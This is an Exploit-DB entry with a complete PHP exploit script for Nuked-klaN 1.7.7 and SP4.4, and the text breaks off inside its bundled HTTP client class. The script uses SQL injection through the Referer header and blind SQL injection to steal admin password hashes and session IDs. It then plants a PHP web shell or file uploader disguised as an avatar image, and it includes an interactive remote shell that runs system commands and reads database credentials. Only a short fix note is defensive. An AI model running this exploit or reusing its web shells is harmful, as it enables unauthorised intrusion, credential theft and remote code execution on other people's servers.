标题: Nuked-klaN 1.7.7 / SP4.4 - Multiple Vulnerabilities EDB-ID: 6749 CVE: 2007-2556 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: <?php
#
# Name:    Nuked-klaN <= 1.7.7 and <= SP4.4 Multiple Vulnerabilities Exploit
# Credits: Charles FOL <charlesfol[at]hotmail.fr>
# URL:     http://real.o-n.fr/
# Date:    14/10/2008
#
# Special thanks to Louis for remembering me I had to finish it =)
#
# VULNERABILITY DETAILS
# ---------------------
#
# Nuked-klaN suffers from a vulnerability due to HTTP_REFERER, which is not
# correctly  filtered  before being inserted in  nuked_stats_visitor table.
#
# If HTTP headers are not addslashes()'d by PHP,  it could lead to a INSERT
# SQL injection.
#
# In function view_referer() (visits.php),  referers are extracted from the 
# database to perform an other SQL query, without being secured in between.
# This leads to a blind SQL injection.
#
# Theses injections are  only possible if Nuked-klaN (NK) considers us as a
# new user, because else it won't touch the nuked_stats_visitor table.
# For this,  we can use X-Forwarded-For HTTP header to specify NK a new IP,
# to be considered as a new user, and therefore access the database.
# NK automaticaly tries to resolve our host (using gethostbyaddr()), and it
# could be very long if the IP is not corresponding to a real one,  because
# the default timeout is ~3 seconds, and that's very unconvenient for blind
# SQL injection.
# In order to solve this,  we can try to  generate IPs that might be valid,
# using, for example, a known BASE (the first two numbers), and randomizing
# the two other numbers.
#
# Stats can be disabled, or not accessible for users or visitors.
# In the last case we can't get query results,  so the unique way to inject
# is BENCHMARK method, but this implies that the headers are not addslashed
# by PHP, but this method is not implemented in this exploit.
#
# If we got an admin session or login, we can spawn a remote shell/uploader
# using the NK "MySQL administration",  but PHP safe_mode must be disabled.
#
# This exploit uses  all these vulnerabilities to spawn a shell/uploader or
# to simply obtain admin credentials.
#
# EXPLOIT MAP
# -----------
#
# (ERRORS ARE THIS WAY ->)
# 
# +---------------------------+
# | Check stats accessibility |->exit()
# +---------------------------+
#   |
#   |  +---------------------------------+  +-----------------------------------------------+
#   +->| Spoof referer to corrupt INSERT |->| Spoof referer to corrupt view_referer() query |->exit()
#      | query and look for results      |  | (blind sql injection)                         |
#      +---------------------------------+  +-----------------------------------------------+
#        |                                    |
#        |  +--------------------------+      | +---------------------------------------------+
#        +->| Did we find an admin SID |<-----+ | We only have a login and a hashed password, |
#           | or not ?                 |------->| we have to crack it and use -admin          |
#           +--------------------------+        +---------------------------------------------+
#             |
#             |  +-------------------------------------------------+
#             +->| Login as admin and spawn an uploader or a shell |
#                | using "MySQL administration"                    |
#                +-------------------------------------------------+
#
# SOLUTION
# --------
# The best way to secure your Nuked-klaN is disabling stats using the admin
# panel.
# If you wan't to keep stats activated, you have to addslashes HTTP_REFERER
# in nuked.php and in visits.php.
#
#
# THIS IS FOR EDUCATION PURPOSES ONLY, as usual.
#

error_reporting(E_ALL ^ E_NOTICE);

define('MSG_INFO', 1);
define('MSG_OKAY', 2);
define('MSG_ERROR', 3);
define('MSG_QUESTION', 4);

define('AGENT', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16');
define('IPBASE', '82.237.');

define('UPCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {$h=fopen(\'w00t.php\', \'w+\');if(!$h || fputs($h, \'<file>\')) exit(\'--NOTDONE--\');fclose($h);exit(\'--DONE--\');}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>');
define('SHCODE', '<?php if(isset($_SERVER[\'HTTP_SHELL\'])) {print 123456789;eval($_SERVER[\'HTTP_SHELL\']);print 123456789;exit();}else{include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>');

$nk = new nk();

class nk
{
 var $proxy;
 
 var $user;
 var $admin;
 var $suser;
 var $sadmin;
 var $mode;
 var $url;
 var $year;
 
 var $ips = array();
 var $queries;
 var $www;
 
 function nk()
 {
  $this->header();
  $this->usage();
  
  $this->setParameters();
  $this->controlParameters();
  
  $this->main();
 }
 
 function close()
 {
  $this->msg();
  exit(0);
 }
 
 # Main function, what and when.
 function main()
 {
  # Admin login not specified
  if(!$this->sadmin)
  {
   $this->setQueries(0);
   $this->checkStatsAccessibility();
   $this->sendInsertQuery();
  
   # Got the credentials =)
   if($this->getCredentials())
   {
    $this->dumpCredentials();
   }
   elseif($this->blindQueries())
   {
    if($this->mode != 2 && !$this->admin['sid'])
    {
     $this->msg('There is no active admin session, try with "-mode 2"', MSG_ERROR);
     exit();
    }
    
    $this->file = str_replace('$_SERVER[\'HTTP_SHELL\']', 'stripslashes($_SERVER[\'HTTP_SHELL\'])', $this->file);
   }
   # No attack worked
   else
   {
    $this->msg('Exploit failed, stats might be disabled.', MSG_ERROR);
    exit();
   }
  }
  
  $this->makeadmin();
  $this->conclude();
 }
 
 # Define queries in function of the current mode
 function setQueries($mode)
 {
  $this->queries   = array();
  
  if(!$mode)
  {
   # User queries
   $this->queries['name']     = 'SELECT pseudo FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
   $this->queries['password'] = 'SELECT pass FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
   
   # Session queries
   if($this->mode != 2)
   {
    $this->queries['uid'] = 'SELECT id FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1';
    $this->queries['sid'] = 'SELECT id FROM <prefix>sessions WHERE user_id=(SELECT id FROM <prefix>users WHERE niveau=9 ORDER BY DATE ASC LIMIT 1) ORDER BY DATE DESC LIMIT 1';
   }
  }
  else
  {
   list($day, $month, $year) = explode(':', date('d:m:Y'));
   $this->queries[] = 'ALTER TABLE <prefix>block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;';
   $this->queries[] = 'UPDATE <prefix>block SET type=0x2f2e2e2f2e2e2f2e2e2f<filename>00 WHERE type=0x6c6f67696e OR type LIKE 0x252f2e2e25 AND active!=0 LIMIT 1;';
   $this->queries[] = 'DELETE FROM <prefix>stats_visitor WHERE (day=' . $day . ' AND month=' . $month . ' AND year=' . $year . ') OR year=' . $this->year . ' OR year=0;';
  }
  
  # Set the SQL prefix
  foreach($this->queries as $k => $v)
   $this->queries[$k] = str_replace('<prefix>', $this->sprefix, $v);
 }
 
 # Informs of the stats accessibility
 function checkStatsAccessibility()
 {
  $this->msg('Checking statistics accessibility ...', MSG_INFO, false);
  
  $accessibility = $this->areStatsReachable();
  
  if($accessibility == 1)
  {
   $this->msg('Statistics are reachable, but require authentification', MSG_OKAY);
   
   if(!$this->suser)
   {
    $this->msg('Please create an user and specify it using -user parameter', MSG_ERROR);
    exit();
   }
   else
   {
    $this->makeuser();
   }
  }
  elseif($accessibility == 0)
  {
   $this->msg('Statistics are reachable as a visitor', MSG_OKAY);
  }
  else
  {
   $this->msg('Statistics are NOT reachable or activated', MSG_ERROR);
   exit();
  }
 }
  
 # Determine if stats are accessible, and under which conditions
 function areStatsReachable()
 {
  $this->wwwinit(0);
  $this->www->addheader('Referer', 'http://test.com/');
  $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer');
  
  if(preg_match('#<a href="javascript:history.back\(\)"><b>[^<]+</b>#i', $this->www->getcontent()))
   return -1;
  if(preg_match('#<a href="index.php\?file=User&amp;op=login_screen">[^<]+</a>#i', $this->www->getcontent()))
   return 1;
   
  if(!preg_match('#http://test\.com/#i', $this->www->getcontent()))
   return -1;
  
  return 0;
 }
 
 # Send the spoofed referer in order to insert interresting
 # informations in the nuked_stats_visitors table
 function sendInsertQuery()
 {
  $time = time()+60;
  
  $this->msg('Sending INSERT query ...', MSG_INFO, false);
  
  # End the first row
  $sql  = "http://google.com/', '', '', '', '', '0'), ";
  
  # For each query, a new row
  foreach($this->queries as $key => $query)
  {
   $sql .= "('', '', '0.0.0.0', 'attack', 'Mozilla', 'Windows', CONCAT('<!--:$key:', ($query), ':-->'), '1', '1', '" .$this->year . "', '1', '$time'), ";
  }
  
  # End this with the beginning of a row, to have a valid SQL query
  $sql .= "('', '', '', '', '', '', '";
  
  # Let's send it
  $this->wwwinit(0);
  $this->www->addheader('Referer', $sql);
  $this->www->get($this->url);
  
  $this->msg('Sent INSERT query       ', MSG_OKAY);
 }
 
 # Get insert query result in stats page, credentials
 function getCredentials()
 {
  $this->admin = array();
  
  $this->msg('Retrieving credentials ...', MSG_INFO, false);
  
  $this->wwwinit(1);
  $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=' . $this->year);
  
  if(!preg_match_all('#<!--:([^ :]+):([^ ]*):-->#Ui', $this->www->getcontent(), $data))
  {
   $this->msg('Unable to reach credentials', MSG_ERROR);
   return false;
  }
  
  for($i=0;$i<sizeof($data[0]);$i++)
  {
   $this->admin[$data[1][$i]] = $data[2][$i];
  }
   
  $this->msg('Got the credentials =)    ', MSG_OKAY);
  
  return true;
 }
 
 # Dump $this->user content
 function dumpCredentials()
 {
  $display = array
  (
   'User      : ' => 'name',
   'Password  : ' => 'password',
   'UserID    : ' => 'uid',
   'SessionID : ' => 'sid',
  );
  
  foreach($display as $key => $value)
   if($this->admin[$value])
    $this->msg($key . $this->admin[$value], MSG_OKAY);
 }
 
 # Here we are on the second attack: we have to blind, but only
 # critical information because it's pretty long
 function blindQueries()
 {
  $this->msg('Switching to blind mode, be (very) patient ...', MSG_INFO);
  
  if($this->mode != 2)
  {
   unset($this->queries['name']);
   unset($this->queries['password']);
  }
  
  foreach($this->queries as $key => $query)
  {
   $length = $key == 'password' ? 32 : 20;
   
   if($key == 'sid')
   {
    $query = str_replace
    (
     '(' . $this->queries['uid'] . ')',
     "'" . $this->admin['uid'] . "'",
     $query
    );
   }
    
   switch($key)
   {
    case 'name':     $display = 'User      : '; break;
    case 'password': $display = 'Password  : '; break;
    case 'sid':      $display = 'SessionID : '; break;
    case 'uid':      $display = 'UserID    : '; break;
   }
   
   $this->msg($display, MSG_QUESTION, false);
   if(!($this->admin[$key] = $this->blind($query, $length))) return true;
   $this->msg($display . $this->admin[$key], MSG_OKAY);
  }
  
  return true;
 }
 
 # SQL Blind function
 # Referer SQL field only supports 200 characters,
 # so we use a special sql injection to be sure it
 # will work fine and fast enought.
 #
 # 1. Charset
 # 2. Dichotomy
 #
 function blind($query, $nbchars)
 {
  $result  = '';
  
  for($p=1;$p<=$nbchars;$p++)
  {
   $letter = '';
   $sql    = "MID(($query),$p,1)";
   
   if($this->blind_is($sql))
   {
    if($this->blind_isChar($sql))
    {  
     if($this->blind_isMaj($sql))
      $charset = array(ord('A'), ord('Z'));
     else
      $charset = array(ord('a'), ord('z'));
    }
    else
     $charset = array(ord('0'), ord('9'));
   }
   else
    break;
    
   $add = $charset[0];
   
   for($pos=$charset[1]-$charset[0];$pos>2;$pos=intval($pos/2+0.5))
   {
    $s = 'ORD(' . $sql . ') BETWEEN ' . $add . ' AND ' . ($add+$pos);
    if(!$this->blind_test($s)) $add += $pos;
   }
   
   $letter = '';
   
   for($i=$add;$i<=$add+$pos+1;$i++)
   {
    $s = 'ORD(' . $sql . ')=' . $i;
    if($this->blind_test($s))
    {
     $letter = chr($i);
     break;
    }
   }
   
   $result .= $letter;
   print $letter;
  }
  
  return $result;
 }
 
 function blind_is($sql)
 {
  return $this->blind_test("ORD($sql)!=0");
 }
 
 function blind_isChar($query)
 {
  return $this->blind_test("UPPER($query) BETWEEN 'A' AND 'Z'");
 }
 
 function blind_isMaj($query)
 {
  return $this->blind_test("ORD($query) BETWEEN 65 AND 90");
 }
 
 # Return true or false depending on the page result, before
 # setting up PHPsploit and the referer
 function blind_test($sql)
 {
  $site = $this->generateIP();
  $when = '&oday=' . date('d') . '&omonth=' . date('m') . '&oyear=' . date('Y');
  
  $this->wwwinit(0);
  $this->www->addheader('Referer', $this->year . $site . "' OR 1=1 AND $sql AND 'A'='A");
  
  # If we have to be user to reach stats
  if(sizeof($this->user))
  {
   $this->www->get($this->url . 'index.php');
   $this->wwwinit(1);
  }
   
  $this->www->get($this->url . 'index.php?file=Stats&nuked_nude=visits&op=view_referer' . $when);
  
  if(preg_match('#' . $this->year . $site . '[^<]+</a></td>\s+<td style="width: 20%;" align="center">([0-9]*)#i', $this->www->getcontent(), $data))
  {
   if($data[1] > 0)
    return true;
  }
  else
  {
   $this->msg('Error while blinding.', MSG_ERROR);
   exit();
  }
 }
  
 # Set up the admin
 function makeadmin()
 {
  # The current user is now the admin
  $this->user = $this->admin;
  
  # Determine if we have a session or just a name
  if($this->mode == 2)
  {
   exit();
  }
  elseif($this->sadmin)
  {
   $this->suser = $this->sadmin;
   $this->makeuser();
  }
  elseif($this->user['sid'] && $this->user['uid'])
  {
   $this->msg('Got a session, no login required', MSG_OKAY);
  }
  elseif($this->user['name'] && $this->user['password'])
  {
   $this->msg('Please crack the admin hash, and use -admin parameter', MSG_ERROR);
   exit();
  }
  else
  {
   $this->msg('How did you get there ?', MSG_ERROR);
   exit();
  }
  
  $this->user['aid'] = $this->user['uid'];
  $this->user['ip']  = '127.0.0.1';
  
  $this->msg('Administrator status OK =)', MSG_OKAY);
 }
 
 # Conclude the attack: spawn a shell or an uploader
 function conclude()
 {
  # Initialise PHPsploit for the last time
  $this->wwwinit(1);
  $this->www->addheader('Referer', $this->url);
  
  # Actualize the queries
  $this->setQueries(1);
  
  $this->uploadavatar();
  $this->sendqueries();
  $this->loadshell();
 }
 
 function uploadavatar()
 {
  $this->msg('Uploading avatar ...', MSG_INFO, false);
  
  $fmdt = array
  (
   'frmdt_url'   => $this->url . 'index.php?file=User&op=update_pref',
   'fichiernom'  => array
       (
        'frmdt_filename' => 'one.jpg',
        'frmdt_content'  => $this->file,
       )
  );

  $this->www->formdata($fmdt);
  $this->www->get($this->url . 'index.php?file=User&op=edit_pref');
  
  if(!preg_match('#value="([^"]+\.jpg)"#U', $this->www->getcontent(), $match))
  {
   $this->msg('Error while uploading avatar', MSG_ERROR);
   exit();
  }
  
  $this->msg('Avatar successfully uploaded (' . basename($match[1]) . ')', MSG_OKAY);
  
  $match = unpack('H*', $match[1]);
  
  $this->queries[1] = str_replace('<filename>', $match[1], $this->queries[1]);
 }
 
 function sendqueries()
 {
  $this->msg('Sending SQL queries ', MSG_INFO, false);
  
  foreach($this->queries as $query)
  {
   $this->www->post($this->url . 'index.php?file=Admin&page=mysql&op=upgrade_db', 'upgrade=' . $query);
   $this->msg('.', 0, false);
  }
  
  $this->msg('SQL queries sent        ', MSG_OKAY);
 }
 
 function loadshell()
 {
  if($this->mode == 0)
  {
   $this->www->addheader('Shell', '1');
   $this->www->get($this->url);
   
   if(strpos('--DONE--', $this->www->getcontent()))
    $this->msg('File created. URL: ' . $this->url . 'w00t.php', MSG_OKAY);
   else
   {
    # possible causes: safe_mode, open_basedir, file restrictions ...
    $this->msg('File was not created', MSG_ERROR);
   }
  }
  else
  {
   $this->msg('Shell spawned', MSG_OKAY);
   $this->msg();
   $sql = array('conf.inc.php', '$global[\'db_host\']', '$global[\'db_user\']', '$global[\'db_password\']', '$global[\'db_name\']');
   new phpreter($this->url . 'index.php', '123456789(.*)123456789', 'cmd', $sql, false);
  }
 }
 
 # Login as a specified user, and obtain a $uid and a $sid
 function createSession($user, $passwd, &$uid, &$sid)
 {
  $this->wwwinit(0);
  $this->www->addheader('Referer', $this->url . 'index.php');
  $this->www->post($this->url . 'index.php?file=User&nuked_nude=index&op=login', "pseudo=$user&pass=$passwd&remember_me=ok");
  
  preg_match('#nuked_sess_id=([a-z0-9]+)#i', $this->www->getheader(), $sid);
  preg_match('#uid=([a-z0-9]+)#i', $this->www->getcontent(), $uid);
  
  $sid = $sid[1];
  $uid = $uid[1];
  
  if($uid && $sid)
   return true;
  
  return false;
 }
 
 # Login user and set his informations
 function makeuser()
 { 
  list($user, $passwd) = explode(':', $this->suser);
  
  $this->user = array();
  
  $this->msg('Logging in as ' . $user, MSG_INFO, false);
  
  if($this->createSession($user, $passwd, $uid, $sid))
  {
   $this->user['name']     = $user;
   $this->user['password'] = $passwd;
   $this->user['uid']      = $uid;
   $this->user['sid']      = $sid;
   $this->user['ip']       = $this->generateIP();
   
   $this->msg('Loggued in as ' . $user . ' (uid=' . $uid . ')', MSG_OKAY);
  }
  else
  {
   $this->msg('Unable to log in as ' . $user, MSG_ERROR);
   exit();
  }
 }
 
 # Initialize PHPsploit (with a new identity)
 function wwwinit($mode)
 { 
  $this->www->reset();
  $this->www->agent(AGENT);
  
  if($mode && sizeof($this->user))
   $this->wwwuser();
  else
   $this->www->addheader('X-Forwarded-For', $this->generateIP());
 }

 # Set user cookies and headers
 function wwwuser()
 { 
  $cookies = array();
  
  if($this->user['uid']) $cookies['user_id']       = $this->user['uid'];
  if($this->user['sid']) $cookies['sess_id']       = $this->user['sid']; 
  if($this->user['aid']) $cookies['admin_session'] = $this->user['aid'];
   
  foreach($cookies as $k => $v)
   $this->www->addcookie($this->cprefix . $k, $v);
  
  // yes it's not a cookie
  $this->www->addheader('X-Forwarded-For', $this->user['ip']);
 }
 
 # Make an IP which can be gethostbyaddr()'ed, for speed
 # reasons
 function generateIP()
 {
  do
  {
   $ip = IPBASE . rand(1, 20) . '.' . rand(1, 250);
  }
  while(in_array($ip, $this->ips));
  
  $this->ips[] = $ip;
  
  return $ip;
 }
 
 function msg($msg = '', $type = 0, $n = true)
 {
  $display = $n ? "\r" : '';

  switch($type)
  {
   case MSG_INFO:     $display .= '[*] '; break;
   case MSG_OKAY:     $display .= '[+] '; break;
   case MSG_ERROR:    $display .= '[-] '; break;
   case MSG_QUESTION: $display .= '[?] '; break;
  }

  $display .= $msg;

  $display .= $n ? "\n" : '';

  print $display;
 }
 
 function header()
 {
  $this->msg();
  $this->msg('   Nuked-klaN 1.7.7 and SP4.4 Multiple Vulnerabilities Exploit');
  $this->msg('     by Charles FOL <charlesfol[at]hotmail.fr>');
  $this->msg();
 }
 
 function usage()
 {
  global $argc;
  
  if($argc<3)
  {
   $this->msg(' usage: ./nk_exploit.php -url <url> [options]');
   $this->msg();
   $this->msg(' Options: -mode    0: Remote Upload (default)');
   $this->msg('                   1: Remote Code Execution');
   $this->msg('                   2: Admin Hash Extraction');
   $this->msg('          -admin   If you have an admin account.');
   $this->msg('          -user    If stats page need registration.');
   $this->msg('          -proxy   If you want to use a proxy.');
   $this->msg('          -cprefix Cookie prefix (default: nuked_).');
   $this->msg('          -sprefix SQL prefix (default: nuked_).');
   $this->msg('          -file    If you wanna upload a specific file');
   $this->msg('                   else it will upload a simple uploader.');
   $this->msg();
   $this->msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd');
   $this->msg(' eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118');
   
   $this->close();
  }
 }
 
 function setParameters()
 {
  $this->www     = new phpsploit();
  $this->year    = rand(1000, 1500);
  $this->url     = $this->getParameter('url', true);
  $this->mode    = $this->getParameter('mode', false, 0);
  $this->suser   = $this->getParameter('user', false);
  $this->sadmin  = $this->getParameter('admin', false);
  $this->proxy   = $this->getParameter('proxy', false);
  $this->cprefix = $this->getParameter('cprefix', false, 'nuked_');
  $this->sprefix = $this->getParameter('sprefix', false, 'nuked_');
  $this->file    = $this->getParameter('file', false);
 }
 
 function controlParameters()
 {
  if($this->mode == 0)
  {
   if($this->file)
    $this->file = file_get_contents($this->file);
   else
    $this->file = '<?php if(isset($_GET[\'del\'])){unlink(basename($_SERVER[\'PHP_SELF\']));exit();} if'
                . '(isset($_POST[\'upload\'])){if(!move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], '
                . '"./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\''
                . ']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" e'
                . 'nctype="multipart/form-data"><center><input type="file" name="file"><input type="sub'
                . 'mit" name="upload" value="Upload"></center></form>';

   $this->file = str_replace('<file>', str_replace("'", "\'", $this->file), UPCODE);
  }
  else
   $this->file = SHCODE;
  
  if($this->proxy)
   $this->www->proxy($this->proxy);
 }
 
 function getParameter($parameter, $required = false, $default = '')
 {
  global $argv, $argc;
  
  for($i=0;$i<$argc;$i++)
  {
   if($argv[$i] == '-' . $parameter)
    return $argv[$i+1];
  }
  
  if($required)
  {
   $this->msg('-' . $parameter . ' parameter is required.', MSG_ERROR);
   $this->close();
  }
  
  return $default;
 }
}

# PHPreter (a bit modified).
# Find original version on http://real.o-n.fr/

/*
 * Copyright (c) Charles FOL
 *
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * TITLE:          PHPreter
 * AUTHOR:         Charles FOL <charlesfol[at]hotmail.fr>
 * VERSION:        1.0
 * LICENSE:        GNU General Public License
 *
 * This is a really simple class with permits to exec SQL, PHP or CMD
 * on a remote host using the HTTP "Shell" header.
 *
 *
 * Sample code:
 * [host][sql]# mode=cmd
 * [host][cmd]# id
 * uid=2176(u47170584) gid=600(ftpusers)
 * 
 * [host][cmd]# mode=php
 * [host][php]# echo phpversion();
 * 4.4.8
 * [host][php]# mode=sql
 * [host][sql]# SELECT version(), user()
 * --------------------------------------------------
 *  version()           | 5.0.51a-log
 *  user()              | dbo225004932@74.208.16.148
 * --------------------------------------------------
 * 
 * [host][sql]#
 *
 */

class phpreter
{
 var $url;
 var $host;
 var $port;
 var $page;
 
 var $mode;
 
 var $ssql;
 
 var $prompt;
 var $phost;
 
 var $regex;
 var $data;
 
 /**
  * __construct()
  *
  * @param url      The url of the remote shell.
  * @param regexp   The regex to catch cmd result.
  * @param mode     Mode: php, sql or cmd.
  * @param sql      An array with the file to include,
  *                 and sql vars
  * @param clear    Determines if clear() is called
  *                 on startup
  */
 function phpreter($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true)
 {
  $this->url = $url;
  
  $this->regex = '#'.$regexp.'#is';
  
  #
  # Set data
  #
  
  $infos         = parse_url($this->url);
  $this->host    = $infos['host'];
  $this->port    = isset($infos['port']) ? $infos['port'] : 80;
  $this->page    = $infos['path'];
  
  # www.(site).com
  $host_tmp      = explode('.',$this->host);
  $this->phost   = $host_tmp[ count($host_tmp)-2 ];
  
  #
  # Set up MySQL connection string
  #
  if(!sizeof($sql))
   $this->ssql = '';
  elseif(sizeof($sql) == 5)
  {
   $this->ssql = "include('$sql[0]');"
               . "mysql_connect($sql[1], $sql[2], $sql[3]);"
               . "mysql_select_db($sql[4]);";
  }
  else
  {
   $this->ssql = ""
               . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');"
               . "mysql_select_db('$sql[3]');";
  }
  
  $this->setmode($mode);
  
  #
  # Main Loop
  #

  if($clear) $this->clear();
  print $this->prompt;

  while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
  {
   # change mode
   if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array))
    $this->setmode($array[3]);
   
   # clear data
   elseif(preg_match('#^clear$#i',$cmd))
    $this->clear();
   
   # else
   else print $this->exec($cmd);
   
   print $this->prompt;
  }
 }
 
 /**
  * clear()
  * Just clears ouput, printing '\n'x50
  */
 function clear()
 {
  print str_repeat("\n", 50);
  return 0;
 }
 
 /**
  * setmode()
  * Set mode (PHP, CMD, SQL)
  * You don't have to call it.
  * use mode=[php|cmd|sql] instead,
  * in the prompt.
  */
 function setmode($newmode)
 {
  $this->mode = strtolower($newmode);
  $this->prompt = '['.$this->phost.']['.$this->mode.']# ';
  
  switch($this->mode)
  {
   case 'cmd':
    $this->data = 'system(\'<CMD>\');';
    break;
   case 'php':
    $this->data = '';
    break;
   case 'sql':
    $this->data = $this->ssql
                . '$q = mysql_query(\'<CMD>\') or print(str_repeat("-",50)."\n".mysql_error()."\n");'
                . 'print str_repeat("-",50)."\n";'
                . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))'
                . '{'
                .    'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";'
                .    'print str_repeat("-",50)."\n";'
                . '}';
    break;
  }
  return $this->mode;
 }

 /**
  * exec()
  * Execute any query and catch the result.
  * You don't have to call it.
  */
 function exec($cmd)
 {
  if(!strlen($this->data)) $shell = $cmd;
  else                     $shell = str_replace('<CMD>', addslashes($cmd), $this->data);
  
  $fp = fsockopen($this->host, $this->port, $errno, $errstr, 30);
  
  $req  = "GET " . $this->page . " HTTP/1.1\r\n";
  $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n";
  $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
  $req .= "X-Forwarded-For: 127.0.0.1\r\n"; // here is the mod.
  $req .= "Shell: $shell\r\n";
  $req .= "Connection: close\r\n\r\n";

  fputs($fp, $req);
  
  $content = '';
  while(!feof($fp)) $content .= fgets($fp, 128);
  
  fclose($fp);
  
  # Remove headers
  $data    = explode("\r\n\r\n", $content);
  $headers = array_shift($data);
  $content = implode("\r\n\r\n", $data);
  
  if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
   $content = $this->unchunk($content);
 
  preg_match($this->regex, $content, $data);
  
  if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n";
  
  return $data[1];
 }
 
 /**
  * unchunk()
  * This function aims to remove chunked content's sizes which
  * are put by the apache server when it uses chunked
  * transfert-encoding.
  */
 function unchunk($data)
 {
  $dsize  = 1;
  $offset = 0;
  
  while($dsize>0)
  {
   $hsize_size = strpos($data, "\r\n", $offset) - $offset;
   
   $dsize = hexdec(substr($data, $offset, $hsize_size));
   
   # Remove $hsize\r\n from $data
   $data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );
   
   $offset += $dsize;
   
   # Remove the \r\n before the next $hsize
   $data = substr($data, 0, $offset) . substr($data, ($offset+2) );
  }
  
  return $data;
 }
}

# PHPsploitClass

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit
{
 var $proxyhost;
 var $proxyport;
 var $host;
 var $path;
 var $port;
 var $method;
 var $url;
 var $packet;
 var $proxyuser;
 var $proxypass;
 var $header;
 var $cookie;
 var $data;
 var $boundary;
 var $allowredirection;
 var $last_redirection;
 var $cookiejar;
 var $recv;
 var $cookie_str;
 var $header_str;
 var $server_content;
 var $server_header;
 

 /**
  * This function is called by the
  * get()/post()/formdata() functions.
  * You don't have to call it, this is
  * the main function.
  *
  * @access private
  * @return string $this->recv ServerResponse
  * 
  */
 function sock()
 {
  if(!empty($this->proxyhost) && !empty($this->proxyport))
     $socket = @fsockopen($this->proxyhost,$this->proxyport);
  else
     $socket = @fsockopen($this->host,$this->port);
  
  if(!$socket)
     die("Error: Host seems down");
  
  if($this->method=='get')
     $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
     
  elseif($this->method=='post' or $this->method=='formdata')
     $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
     
  else
     die("Error: Invalid method");
  
  if(!empty($this->proxyuser))
     $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
  
  if(!empty($this->header))
     $this->packet .= $this->showheader();
     
  if(!empty($this->cookie))
     $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
 
  $this->packet .= 'Host: '.$this->host."\r\n";
  $this->packet .= "Connection: Close\r\n";
  
  if($this->method=='post')
  {
